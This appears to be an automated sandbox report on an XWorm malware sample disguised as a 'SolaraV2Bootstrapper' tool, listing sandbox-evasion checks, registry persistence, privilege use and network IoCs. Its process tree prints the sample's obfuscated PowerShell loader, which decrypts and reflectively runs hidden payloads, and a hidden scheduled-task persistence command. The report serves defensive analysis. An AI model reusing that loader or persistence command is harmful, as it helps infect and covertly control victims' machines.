xworm | 14cf7648123e018dcdfc2aa386135a0510a9f7b12b8bc125ad4e32fd7f16999c

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Blocklisted process makes network request 64 IoCs

flow	pid	Process
46	3004	powershell.exe
47	3004	powershell.exe
54	3004	powershell.exe
57	3004	powershell.exe
58	3004	powershell.exe
59	3004	powershell.exe
62	3004	powershell.exe
63	3004	powershell.exe
64	3004	powershell.exe
65	3004	powershell.exe
66	3004	powershell.exe
67	3004	powershell.exe
70	3004	powershell.exe
71	3004	powershell.exe
72	3004	powershell.exe
73	3004	powershell.exe
74	3004	powershell.exe
76	3004	powershell.exe
78	3004	powershell.exe
79	3004	powershell.exe
80	3004	powershell.exe
81	3004	powershell.exe
82	3004	powershell.exe
85	3004	powershell.exe
86	3004	powershell.exe
87	3004	powershell.exe
88	3004	powershell.exe
89	3004	powershell.exe
90	3004	powershell.exe
91	3004	powershell.exe
92	3004	powershell.exe
93	3004	powershell.exe
94	3004	powershell.exe
95	3004	powershell.exe
98	3004	powershell.exe
99	3004	powershell.exe
100	3004	powershell.exe
101	3004	powershell.exe
102	3004	powershell.exe
103	3004	powershell.exe
104	3004	powershell.exe
105	3004	powershell.exe
106	3004	powershell.exe
107	3004	powershell.exe
108	3004	powershell.exe
111	3004	powershell.exe
112	3004	powershell.exe
113	3004	powershell.exe
114	3004	powershell.exe
115	3004	powershell.exe
116	3004	powershell.exe
117	3004	powershell.exe
118	3004	powershell.exe
119	3004	powershell.exe
120	3004	powershell.exe
123	3004	powershell.exe
124	3004	powershell.exe
126	3004	powershell.exe
127	3004	powershell.exe
128	3004	powershell.exe
129	3004	powershell.exe
130	3004	powershell.exe
131	3004	powershell.exe
132	3004	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4272	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerShell.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerShell.lnk	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
3396	PowerShell.exe

Loads dropped DLL 5 IoCs

pid	Process
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Themida packer 59 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/4164-1510-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/files/0x000100000002aaa6-1503.dat	themida
behavioral1/memory/4164-1527-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1526-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1525-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1678-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1725-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1736-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1737-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1738-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1739-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1749-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1770-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1805-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1815-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1825-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1841-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1851-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1863-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1875-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1885-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1886-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1942-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1952-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1953-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1963-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1964-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1965-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1966-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1967-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1968-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1969-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1970-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1971-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1972-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1973-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1974-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1975-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1976-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1977-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1978-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1979-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1980-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1981-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1982-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1983-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1984-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1985-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1986-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1987-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1988-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1989-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1990-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1991-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1992-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1993-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1994-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1995-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida
behavioral1/memory/4164-1996-0x0000000180000000-0x0000000180B0D000-memory.dmp	themida

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2133704870-72480668-1360283475-1000\Software\Microsoft\Windows\CurrentVersion\Run\PowerShell = "C:\\Users\\Admin\\PowerShell.exe"	powershell.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 11 IoCs

Web Service

T1102

flow	ioc
96	raw.githubusercontent.com
109	raw.githubusercontent.com
1	raw.githubusercontent.com
32	raw.githubusercontent.com
33	raw.githubusercontent.com
68	raw.githubusercontent.com
83	raw.githubusercontent.com
121	raw.githubusercontent.com
3	raw.githubusercontent.com
6	raw.githubusercontent.com
7	raw.githubusercontent.com

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2133704870-72480668-1360283475-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
404	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3004	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2876	SolaraV2Bootstrapper.exe
2876	SolaraV2Bootstrapper.exe
848	powershell.exe
848	powershell.exe
4272	powershell.exe
4272	powershell.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4788	msedgewebview2.exe
4788	msedgewebview2.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
3004	powershell.exe
3004	powershell.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
3168	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2876	SolaraV2Bootstrapper.exe
Token: SeDebugPrivilege	848	powershell.exe
Token: SeDebugPrivilege	4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeIncreaseQuotaPrivilege	4272	powershell.exe
Token: SeSecurityPrivilege	4272	powershell.exe
Token: SeTakeOwnershipPrivilege	4272	powershell.exe
Token: SeLoadDriverPrivilege	4272	powershell.exe
Token: SeSystemProfilePrivilege	4272	powershell.exe
Token: SeSystemtimePrivilege	4272	powershell.exe
Token: SeProfSingleProcessPrivilege	4272	powershell.exe
Token: SeIncBasePriorityPrivilege	4272	powershell.exe
Token: SeCreatePagefilePrivilege	4272	powershell.exe
Token: SeBackupPrivilege	4272	powershell.exe
Token: SeRestorePrivilege	4272	powershell.exe
Token: SeShutdownPrivilege	4272	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeSystemEnvironmentPrivilege	4272	powershell.exe
Token: SeRemoteShutdownPrivilege	4272	powershell.exe
Token: SeUndockPrivilege	4272	powershell.exe
Token: SeManageVolumePrivilege	4272	powershell.exe
Token: 33	4272	powershell.exe
Token: 34	4272	powershell.exe
Token: 35	4272	powershell.exe
Token: 36	4272	powershell.exe
Token: SeIncreaseQuotaPrivilege	4272	powershell.exe
Token: SeSecurityPrivilege	4272	powershell.exe
Token: SeTakeOwnershipPrivilege	4272	powershell.exe
Token: SeLoadDriverPrivilege	4272	powershell.exe
Token: SeSystemProfilePrivilege	4272	powershell.exe
Token: SeSystemtimePrivilege	4272	powershell.exe
Token: SeProfSingleProcessPrivilege	4272	powershell.exe
Token: SeIncBasePriorityPrivilege	4272	powershell.exe
Token: SeCreatePagefilePrivilege	4272	powershell.exe
Token: SeBackupPrivilege	4272	powershell.exe
Token: SeRestorePrivilege	4272	powershell.exe
Token: SeShutdownPrivilege	4272	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeSystemEnvironmentPrivilege	4272	powershell.exe
Token: SeRemoteShutdownPrivilege	4272	powershell.exe
Token: SeUndockPrivilege	4272	powershell.exe
Token: SeManageVolumePrivilege	4272	powershell.exe
Token: 33	4272	powershell.exe
Token: 34	4272	powershell.exe
Token: 35	4272	powershell.exe
Token: 36	4272	powershell.exe
Token: SeIncreaseQuotaPrivilege	4272	powershell.exe
Token: SeSecurityPrivilege	4272	powershell.exe
Token: SeTakeOwnershipPrivilege	4272	powershell.exe
Token: SeLoadDriverPrivilege	4272	powershell.exe
Token: SeSystemProfilePrivilege	4272	powershell.exe
Token: SeSystemtimePrivilege	4272	powershell.exe
Token: SeProfSingleProcessPrivilege	4272	powershell.exe
Token: SeIncBasePriorityPrivilege	4272	powershell.exe
Token: SeCreatePagefilePrivilege	4272	powershell.exe
Token: SeBackupPrivilege	4272	powershell.exe
Token: SeRestorePrivilege	4272	powershell.exe
Token: SeShutdownPrivilege	4272	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeSystemEnvironmentPrivilege	4272	powershell.exe
Token: SeRemoteShutdownPrivilege	4272	powershell.exe
Token: SeUndockPrivilege	4272	powershell.exe
Token: SeManageVolumePrivilege	4272	powershell.exe
Token: 33	4272	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3168	msedgewebview2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 3172	2876	SolaraV2Bootstrapper.exe	79
PID 2876 wrote to memory of 3172	2876	SolaraV2Bootstrapper.exe	79
PID 2876 wrote to memory of 3172	2876	SolaraV2Bootstrapper.exe	79
PID 3172 wrote to memory of 2436	3172	cmd.exe	81
PID 3172 wrote to memory of 2436	3172	cmd.exe	81
PID 3172 wrote to memory of 2436	3172	cmd.exe	81
PID 2436 wrote to memory of 4680	2436	net.exe	82
PID 2436 wrote to memory of 4680	2436	net.exe	82
PID 2436 wrote to memory of 4680	2436	net.exe	82
PID 3172 wrote to memory of 3532	3172	cmd.exe	83
PID 3172 wrote to memory of 3532	3172	cmd.exe	83
PID 3172 wrote to memory of 3532	3172	cmd.exe	83
PID 3172 wrote to memory of 848	3172	cmd.exe	84
PID 3172 wrote to memory of 848	3172	cmd.exe	84
PID 3172 wrote to memory of 848	3172	cmd.exe	84
PID 2876 wrote to memory of 4164	2876	SolaraV2Bootstrapper.exe	85
PID 2876 wrote to memory of 4164	2876	SolaraV2Bootstrapper.exe	85
PID 848 wrote to memory of 4272	848	powershell.exe	86
PID 848 wrote to memory of 4272	848	powershell.exe	86
PID 848 wrote to memory of 4272	848	powershell.exe	86
PID 4164 wrote to memory of 3168	4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe	88
PID 4164 wrote to memory of 3168	4164	cd57e4c171d6e8f5ea8b8f824a6a7316.exe	88
PID 3168 wrote to memory of 804	3168	msedgewebview2.exe	89
PID 3168 wrote to memory of 804	3168	msedgewebview2.exe	89
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90
PID 3168 wrote to memory of 5040	3168	msedgewebview2.exe	90

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:808
- C:\Windows\System32\CompPkgSrv.exe
  C:\Windows\System32\CompPkgSrv.exe -Embedding
  2⤵
  PID:3772
- C:\Windows\System32\CompPkgSrv.exe
  C:\Windows\System32\CompPkgSrv.exe -Embedding
  2⤵
  PID:4420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1116
- C:\Users\Admin\PowerShell.exe
  C:\Users\Admin\PowerShell.exe
  2⤵
  - Executes dropped EXE
  PID:3396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2280

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2584

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3060

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3220
- C:\Users\Admin\AppData\Local\Temp\SolaraV2Bootstrapper.exe
  "C:\Users\Admin\AppData\Local\Temp\SolaraV2Bootstrapper.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Solara\Solara_Protect.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3172
  - - C:\Windows\SysWOW64\net.exe
      net file
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2436
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 file
        5⤵
        
        PID:4680
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('71KXTODyBb0gibr8qsjkumj3sQn9luYIOlnzqcfs9v8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('K6cn/xxQL9HV65ZFEfIzmg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $grdGu=New-Object System.IO.MemoryStream(,$param_var); $BLoFB=New-Object System.IO.MemoryStream; $ZKfJA=New-Object System.IO.Compression.GZipStream($grdGu, [IO.Compression.CompressionMode]::Decompress); $ZKfJA.CopyTo($BLoFB); $ZKfJA.Dispose(); $grdGu.Dispose(); $BLoFB.Dispose(); $BLoFB.ToArray();}function execute_function($param_var,$param2_var){ $bPSKR=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CcfCi=$bPSKR.EntryPoint; $CcfCi.Invoke($null, $param2_var);}$OmsUx = 'C:\Users\Admin\AppData\Local\Solara\Solara_Protect.bat';$host.UI.RawUI.WindowTitle = $OmsUx;$KUySx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($OmsUx).Split([Environment]::NewLine);foreach ($QLXjt in $KUySx) { if ($QLXjt.StartsWith('TLeupgMwlstDjFftnaDp')) { $HgjhD=$QLXjt.Substring(20); break; }}$payloads_var=[string[]]$HgjhD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      4⤵
      PID:3532
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
      4⤵
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:848
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_495_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_495.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4272
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_495.vbs"
        5⤵
        
